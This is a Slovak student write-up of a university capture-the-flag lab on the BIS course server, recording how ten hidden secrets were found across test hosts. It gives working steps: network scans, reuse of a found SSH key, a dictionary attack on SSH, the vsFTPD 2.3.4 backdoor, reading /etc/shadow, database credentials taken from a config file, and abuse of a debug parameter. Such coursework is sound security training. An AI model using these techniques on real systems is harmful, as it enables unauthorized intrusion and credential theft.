

# FAKULTA INFORMAČNÍCH TECHNOLOGIÍ VYSOKÉ UČENÍ TECHNICKÉ V BRNĚ



## BIS Bezpečnost informačních systémů

Tajomstvo BIS

## Obsah

1	Úvod	2
2	Tajomstvá	2
3	Analýza	2
4	Tajomstvo $C$	3
5	Tajomstvo $I$	3
6	Tajomstvo $E$	3
7	Tajomstvo $F$	4
8	Tajomstvo $D$	5
9	Tajomstvo $G$	5
10	Tajomstvo $A$	6
11	Tajomstvo $H$	6
12	Tajomstvo $J$	6
13	Tajomstvo $B$	7

## 1 Úvod

Cieľom projektu bolo uskutočniť APT útok na zadaný server. Výsledok útoku spočíval v odhalení všetkých tajomstiev ktoré boli poukryvané na rôznych miestach. Nasledujúce kapitoly popisujú proces hľadania jednotlivých tajomstiev po pripojení pomocou privátneho kľúča na *bis.fit.vutbr.cz*.

## 2 Tajomstvá

Podarilo sa mi odhaliť nasledujúcich 10 tajomstiev.

Kapitola 10	A_20-11-16-10-01_2808ed0cf1d2ad2024a572ae6075f14cbe9c4e5103493dc088cf846d0ffa9f0d
Kapitola 13	B_21-11-22-59-01_fd5e5384449c8f7210aeae754d02913a70e3b0cc52e933ab18dec768a6c346b0
Kapitola 4	C_17-11-19-41-01_47533bc4b523ba4f7d0ebef3d25fe654f5ec126bc6a161394b027f4355ed6f64
Kapitola 8	D_20-11-14-50-01_167443c9a637757e4f3a88a71d43db93a5a7a53bdb449958ff4d91a8ee87b034
Kapitola 6	E_17-11-20-44-01_6454d0f7031b689cccb1bedf8de6f6c0b904eeaa810d7aef98bab5cba308fafa
Kapitola 7	F_18-11-22-13-01_2d04f2e14d44efadf60e1921b8902d2648c65dfe364dbc0cb23da17d4008cf62
Kapitola 9	G_20-11-15-40-01_33582fcbcfaf70b70a85dd974c6831aad199fc150b7cc77c2fefaf59e87f9e4e
Kapitola 11	H_20-11-21-32-01_e611160adcc74100c8739ad2525739abda3bdc39e471efdb5b27a01a32d0c32c
Kapitola 5	I_17-11-20-14-01_adb2020a691f94c4a2b0f3ea1b16c21936567ee6b07f5a3308959c47a1b19abe
Kapitola 12	J_20-11-22-38-01_2a87a2c2ad810dfd8d839eae1216c65732cb84a896b730c4ed77c3be966f790f

Jednotlivé kapitoly popisujúce odhalené tajomstvá sú usporiadané na základe poradia odhalenia jednotlivých tajomstiev.

## 3 Analýza

Po pripojení na *bis.fit.vutbr.cz* som si najskôr preskúmal \$HOME pomocou „ls -R -A \$HOME“. Odhalil som v priečinku .Trash privátny kľúč používateľa *itcrowd* a štyri dokumenty. Následne na to, som si zistil IP adresu zariadenia pomocou „ip addr“. IP adresa zariadenia: 192.168.122.6, maska siete: 255.255.255.0. Zanalyzoval som si sieť v ktorej sa nachádza toto zariadenie pomocou „nmap 192.168.122.6/24 -Pn“. Vo výstupe som spozoroval *pctest*, tak na základe tohto, som spustil príkaz „nmap 192.168.122.6/24 -Pn | grep -A 6 "pctest"“. Získal som nasledujúci výsledok:

```
Nmap scan report for ptest1.bis.mil (192.168.122.143)
Host is up (0.00072s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
```

```
Nmap scan report for ptest2.bis.mil (192.168.122.27)
Host is up (0.00049s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
3306/tcp   open  mysql
```

```
Nmap scan report for ptest3.bis.mil (192.168.122.22)
Host is up (0.00062s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
```

```
Nmap scan report for ptest4.bis.mil (192.168.122.210)
Host is up (0.0016s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
6667/tcp  open  irc
```

Z týchto poznatkov som zvážil, že by som sa pomocou odhaleného kľúča mohol vedieť pripojiť na jeden z hore uvedených zariadení. Popis pripojenia pomocou tohto privátneho kľúča pokračuje v kapitole 4.

## 4 Tajomstvo *C*

S využitím privátneho kľúča v priečinku `$HOME/.Trash/itcrowd.key` pre používateľa *itcrowd* nachádzajúceho sa na *bis.fit.vutbr.cz* som sa pripojil na zariadenie *ptest3* pomocou príkazu „`ssh -i .Trash/itcrowd.key -l itcrowd ptest3`“.

Po úspešnom pripojení som si znovu preskúmal `$HOME` pomocou „`ls -R -A $HOME`“. Keďže na *ptest3* je otvorený port *http*, tak som vykonal „`cd /var/www/html && ls -R -A`“. Spozoroval som súbor `/var/www/html/secret.txt` ktorého obsah som si následne chcel vypísať pomocou „`cat secret.txt`“. Výpis nebol možný z dôvodu nedostatočných práv, t.j.:

```
cat: /var/www/html/secret.txt: Permission denied
```

Port *http* bol ale otvorený. Vyskúšal som, zda sa si ten súbor neviem stiahnuť pomocou „`curl http://ptest3/secret.txt`“. Súbor sa mi podarilo stiahnuť a následne odhaliť tajomstvo *C*.

```
Ziskali jste tajemstvi
C_17-11-19-41-01_47533bc4b523ba4f7d0ebef3d25fe654f5ec126bc6a161394b027f4355ed6f64
```

## 5 Tajomstvo *I*

Tajomstvo *I* som získal pokračovaním v analýze priečinka `/var/www/html` po odhalení tajomstva *C* ktoré je popísané v kapitole 4. Pri vypísaní obsahu súbora `/var/www/html/robots.txt` pomocou „`cat /var/www/html/robots.txt`“ som získal tajomstvo *I*.

```
Ziskali jste tajemstvi
I_17-11-20-14-01_adb2020a691f94c4a2b0f3ea1b16c21936567ee6b07f5a3308959c47a1b19abe
```

## 6 Tajomstvo *E*

Pri pripojení na zariadenie *ptest3* pomocou príkazu „`ssh -i .Trash/itcrowd.key -l itcrowd ptest3`“ sa zobrazila uvítacia správa ktorá obsahova *Riddle of the day*:

```
===== Riddle of the day =====
|>Qefkdp xob klq xitxvp texq qebv pbbj; qeb cfopq xmmbxoxkzb abzbfsbp jxkv;
geb fkqbiifdbkzblc x cbt mbozbfbsbp texq exp ybbk zxobcriiv efaabk.<|
|>Ql zixfj vlro mofwb ork zljxka: ofaaib bppbkqxfifqfbp<|
=====
```

Zistil som, že sa jedná o Caesarovu šifru s pousnutím o 23. Dekódovaná správa vyzerala nasledovne:

```
===== Riddle of the day =====
|>Things are not always what they seem the first appearance deceives many;
the intelligence of a few perceives what has been carefully hidden.<|
|>To claim your prize run command: riddle essentialities<|
=====
```

Po vykonaní príkazu „riddle essentialities“ som získal tajomstvo *E*.

```
Ziskali jste tajemstvi
E_17-11-20-44-01_6454d0f7031b689cccb1bedf8de6f6c0b904eeaa810d7aef98bab5cba308fafa
```

## 7 Tajomstvo *F*

Všimol som si po analýze siete, ktorá je popísaná v kapitole 3, že na *ptest4* beží irc na porte 6667. Spustil som si IRC client pomocou „irssi“ a následne som sa napojil na *ptest4* pomocou „/connect ptest4“. Vypísal som si zoznam kanálov (channels) pomocou „/list“.

```
20:20 -!- Channel Users Name
20:20 -!- #bis 1
20:20 -!- &SERVER 0 Server Messages
20:20 -!- #anonbox 0 Post all your ideas , complaints and everyday issues .
20:20 -!- #itcrowd 0 All IT issues to be discussed here .
20:20 -!- #meetings 0 In this channel you can find transcripts of the meetings .
20:20 -!- #finances 0 Channel for accountants and all monetary operations .
20:20 -!- #internal 1 Internal affairs .
20:20 -!- #general 0 Feel free discuss various topics in here .
20:20 -!- End of LIST
```

Všimol som si že na kanále **#bis** sa nachádza 1 user (používateľ). Pripojil som sa na kanál **#bis** a vypísal som si mená na tomto kanály pomocou „/names“.

```
20:26 [Users #bis]
20:26 [@Willie] [ student]
20:26 -!- Irssi: #bis: Total of 2 nicks [1 ops, 0 halfops, 0 voices, 1 normal]
```

Zistil som že @Willie je bot z [github.com/mikeywaites/willie](https://github.com/mikeywaites/willie) a má reagovať na určité príkazy začínajúce s bodkou. Zadal som príkaz „.commands“ na ktorý mi bot reagoval:

```
20:49 <@Willie> student: I am sending you a private message of all my commands!
```

Otvoril som si privátny chat s botom kde mi @Willie poslal všetky príkazy:

20:49 <Willie> Commands I recognise: CUKOO, action, addtrace, addtraceback, agreed, announce, ask, at, ban, bitcoin, blocks, btc, c, calc, ch, chairs, choice, choose, commands, comment, comments, countdown, cuckoo, cur, currency, d, ddg, define, deop, devoice, dice, dict, distance, duck, endmeeting, ety, exchange, findbug, findissue, g, getchanneltimeformat, getchanneltz, getctf, getctz, getsafeorwork, getsfw,

20:49 <Willie> gettf, gettimeformat, gettimezone, gettz, gify, gtify, help, imdb, in, info, ip, iplookup, isup, join, kb, kick, kickban, length, link, listactions, lmgify, lmgify, load, makebug, makeissue, mangle, mangle2, mass, me, mode, movie, msg, op, part, py, quiet, quit, radio, rand, redditor, reload, roll, rss, safety, save, search, seen, set, setchanneltimeformat, setchanneltz, setctf, setctz,

20:49 <Willie> setlocation, setsafeorwork, setsfw, settf, settimeformat, settimezone, settz, setwoeid, showmask, spell, spellcheck, startmeeting, subject, suggest, t, tell, temp, time, title, tld, tmask, topic, tr, translate, u, unban, unquiet, update, uptime, version, voice, w, wa, wea, weather, weight, wik, wiki, wolfram, wt, xkcd.

20:49 <Willie> For help, do 'Willie: help example' where example is the name of the command you want help for.

Ukončil som privátny chat pomocou príkazu „/q“ aby som sa vrátil naspäť do kanála #bis. Napísal som príkaz „.CUKOO“ (podozrivý príkaz pretože nepatrí medzi bežné príkazy bota) na ktorý mi ale bot nereagoval, vyskúšal som „.help CUKOO“ na čo reagoval:

20:56 <@Willie> student: I might spoil you a secret.

Znovu som si otvoril privátny chat s botom kde som vyskúšal „.CUKOO“ na čo bot reagoval správou:

21:13 <Willie> Ziskali jste tajemstvi  
F\_18-11-22-13-01\_2d04f2e14d44efadf60e1921b8902d2648c65dfe364dbc0cb23da17d4008cf62

21:13 <Willie> Ziskali jste tajemstvi  
F\_18-11-22-13-01\_2d04f2e14d44efadf60e1921b8902d2648c65dfe364dbc0cb23da17d4008cf62

V správe som získal tajomstvo *F*.

Ziskali jste tajemstvi  
F\_18-11-22-13-01\_2d04f2e14d44efadf60e1921b8902d2648c65dfe364dbc0cb23da17d4008cf62

## 8 Tajomstvo *D*

Keďže na *pctest4* je otvorený port 53, vyskúšal som dotazovanie nie skutočného DNS servera - 192.168.122.1, ale DNS servera *pctest4* - 192.168.122.210 pomocou dig. Pomocou príkazu „dig @192.168.122.210 pctest4.bis.mil. ANY“ som zistil NS záznam pre pctest4.bis.mil ktorým bol bis.mil.. Následne som znovu poslal dotaz na *pctest4* pomocou „dig @192.168.122.210 bis.mil ANY“. Odhalil som, že tajomstvo sa nachádza v TXT zázname. Poslal som dotaz „dig @192.168.122.210 bis.mil TXT“ ktorý mi vypísal tajomstvo *D*.

Ziskali jste tajemstvi  
D\_20-11-14-50-01\_167443c9a637757e4f3a88a71d43db93a5a7a53bdb449958ff4d91a8ee87b034

## 9 Tajomstvo *G*

Na *pctest1* bol otvorený FTP port. Vyskúšal som sa pripojiť ale bez správneho prihlasovacieho mena a hesla ale nechcelo ma to pripojiť. Pred autentifikačným procesom mi ale FTP server odoslal informáciu

o sebe vsFTPD 2.3.4. Na základe verzie som si vyhľadal zraniteľnosti ktoré som vyskúšal. FTP server obsahoval backdoor, ktorý fungoval tak, že som musel do prihlasovacieho mena vložiť podreťazec „:“ reprezentujúci smajlík a náhodné heslo. Výsledkom bola odpoveď „220 Opened port 50331, take a look ;)“ ktorú som využil tak, že som sa znovu pripojil pomocou príkazu „ftp 192.168.122.143 56530“. Odhalil som tajomstvo *G*.

Ziskali jste tajemství  
G\_20-11-15-40-01\_33582fcbcfaf70b70a85dd974c6831aad199fc150b7cc77c2fefaf59e87f9e4e

## 10 Tajomstvo *A*

V priečinku `$HOME/Documents` sa nachádzali 4 súbory ktoré som odhalil analýzou, ktorá je popísaná v kapitole 3. V jednom z nich - `$HOME/Documents/tc48-2008-024-Rev4.pdf` som našiel využiteľnú informáciu - „*Jen Barber, jbarber@ptest1.bis.mil*“, ktorú som odhalil tak, že dostupné zariadenia pri analýze siete (viz kapitola 3) obsahovali reťazec *ptest* a tento email obsahoval slovo *ptest*. Na *ptest1* bol otvorený SSH port tak som sa pokúsil pripojiť pomocou príkazu „ssh jbarber@ptest1.bis.mil“ ktoré ale vyžadovalo heslo. Heslo som pomocou metódy brute force a pomocou 50 najčastejších hesiel t.j. slovníkový útok, hneď odhalil - „welcome“. Pripojil som sa ako *jbarber* s heslom *welcome*. Po pripojení som začal analyzovať obsah `$HOME` priečinka a následne som prezrel obsah `/etc/passwd` a `/etc/shadow`. Tajomstvo *A* sa nachádzalo v `/etc/shadow` (v poli pre heslo).

Ziskali jste tajemství  
A\_20-11-16-10-01\_2808ed0cf1d2ad2024a572ae6075f14cbe9c4e5103493dc088cf846d0ffa9f0d

## 11 Tajomstvo *H*

Analýzou priečinka `$HOME` po pripojení na *ptest1* (pripojenie na *ptest1* je popísane v kapitole 10) som odhalil tajomstvo *H* v jednom zo súborov v podpriečinku `$HOME`. Tajomstvo *H* sa nachádzalo v súbore `$HOME/Mail/Trash` ktoré som získal pomocou „cat `$HOME/Mail/Trash`“.

Ziskali jste tajemství  
H\_20-11-21-32-01\_e611160adcc74100c8739ad2525739abda3bdc39e471efdb5b27a01a32d0c32c

## 12 Tajomstvo *J*

Pri analýze priečinka `$HOME` ktorý je spomenutý v kapitole 4 som odhalil v priečinku `.ssh` rôzne kľúče. Pomocou „cat `.ssh/config`“ som zistil, že používateľ *webmaster* má prístup na *ptest2.bis.mil*. Vyskúšal som sa pripojiť na *ptest2* ako *webmaster* pomocou „ssh webmaster@ptest2.bis.mil“. Prihlásenie prebehlo úspešne. Analýzou spomenutej v kapitole 3 som vedel, že tu je otvorený port pre HTTP a MySQL. Zanalyzoval som priečinky zariadenia, hlavne `/var/www/html` kde som našiel rôzne súbory. Po dôkladnejšom preskúmaní som odhalil prihlasovacie údaje do databázy v súbore `libs/constants.php` pomocou „cat `libs/constants.php`“.

```
define('DB_DRIVER', 'mysql');  
define('DB_HOST', 'localhost');  
define('DB_HOST_USERNAME', 'arcturus');  
define('DB_HOST_PASSWORD', '16431879196842');  
define('DB_DATABASE', 'arcturus');
```

Pripojil som sa do databázy pomocou „mysql -u arcturus -p16431879196842“. Zanalyzoval som obsah databázy príkazmi „use <DB>;“ a „select \* from <table>“. Databáza *arcturus* obsahovala tabuľku *contracts* ktorá obsahovala tajomstvo *J*.

J\_20-11-22-38-01\_2a87a2c2ad810dfd8d839eae1216c65732cb84a896b730c4ed77c3be966f790f

## 13 Tajomstvo *B*

Pokračovaním analýzou prečinka `/var/www/html` na *pctest2* (pripojenie na *pctest2* je popísané v kapitole 12) som odhalil implementačnú zraniteľnosť. Pomocou príkazu „`cat index.php`“ som odhalil zraniteľnosť v zdrojovom kóde:

```
/* TODO: DEVELOPMENT ONLY, REMOVE IN PRODUCTION!!!
 *
 * Prints out value of a variable specified by GET parameter debug_variable
 */
if (isset($_GET['debug_variable'])) {
    var_dump($_GET['debug_variable']);
};
```

Na základe tejto zraniteľnosti ktorá bola dokonca i popísaná som sa snažil nájsť nejakú premennú ktorú by sa dalo vypísať pomocou tejto zraniteľnosti. Po ďalšej analýze ostatných zdrojových kódov ma zaujal súbor `internal-memo.php`. Pomocou príkazu „`cat internal-memo.php`“ som odhalil:

```
<?php echo $GLOBALS['INTERNAL_MSG']; ?>
```

Teraz som potreboval preniesť túto premennú do odhaleného zraniteľného miesta. Dotaz „`curl http://ptest2/index.php`“ nefungoval, ale po správnom dotaze pomocou „`curl http://ptest2/index.php?debug_variable=INTERNAL_MSG`“ som si premennú vypísal:

```
string(104) "Ziskali jste tajemstvi
B_21-11-22-59-01_fd5e5384449c8f7210aeae754d02913a70e3b0cc52e933ab18dec768a6c346b0"
<!DOCTYPE HTML>
<html>
  <head>
    <title>Project Arcturus Home – Project Arcturus</title>
  ...
```

Odhalil som tajomstvo *B*.

```
                Ziskali jste tajemstvi
B_21-11-22-59-01_fd5e5384449c8f7210aeae754d02913a70e3b0cc52e933ab18dec768a6c346b0
```